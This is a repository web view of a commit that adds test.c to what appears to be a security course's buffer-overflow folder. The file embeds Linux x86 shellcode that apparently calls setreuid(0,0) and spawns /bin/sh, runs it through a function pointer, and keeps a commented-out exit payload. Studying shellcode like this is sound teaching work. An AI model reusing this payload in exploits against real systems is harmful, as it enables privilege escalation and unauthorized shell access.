summaryrefslogtreecommitdiff
path: root/c_seguridad/code/bof/test.c
diff options
context:
space:
mode:
authorGuillermo Ramos2013-05-27 00:07:01 +0200
committerGuillermo Ramos2013-05-27 00:07:01 +0200
commit45ec0c7e1bfd251e13f4d3ade89785e98df31ba9 (patch)
tree1f9b534ed4ea650517c39799f5e2aed0885ce87d /c_seguridad/code/bof/test.c
downloadacm-master.tar.gz
Diffstat (limited to 'c_seguridad/code/bof/test.c')
-rw-r--r--c_seguridad/code/bof/test.c15
1 files changed, 15 insertions, 0 deletions
diff --git a/c_seguridad/code/bof/test.c b/c_seguridad/code/bof/test.c
new file mode 100644
index 0000000..c88c260
--- /dev/null
+++ b/c_seguridad/code/bof/test.c
@@ -0,0 +1,15 @@
+char shellcode[] =
+"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x31\xc0\x5b"
+"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
+"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
+"\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
+
+//char shellcode[] =
+//"\x31\xc0\xb0\x01\x31\xdb\xb3\x7b\xcd\x80";
+
+
+int main() {
+ int (*func)();
+ func = (int (*)()) shellcode;
+ (*func)();
+}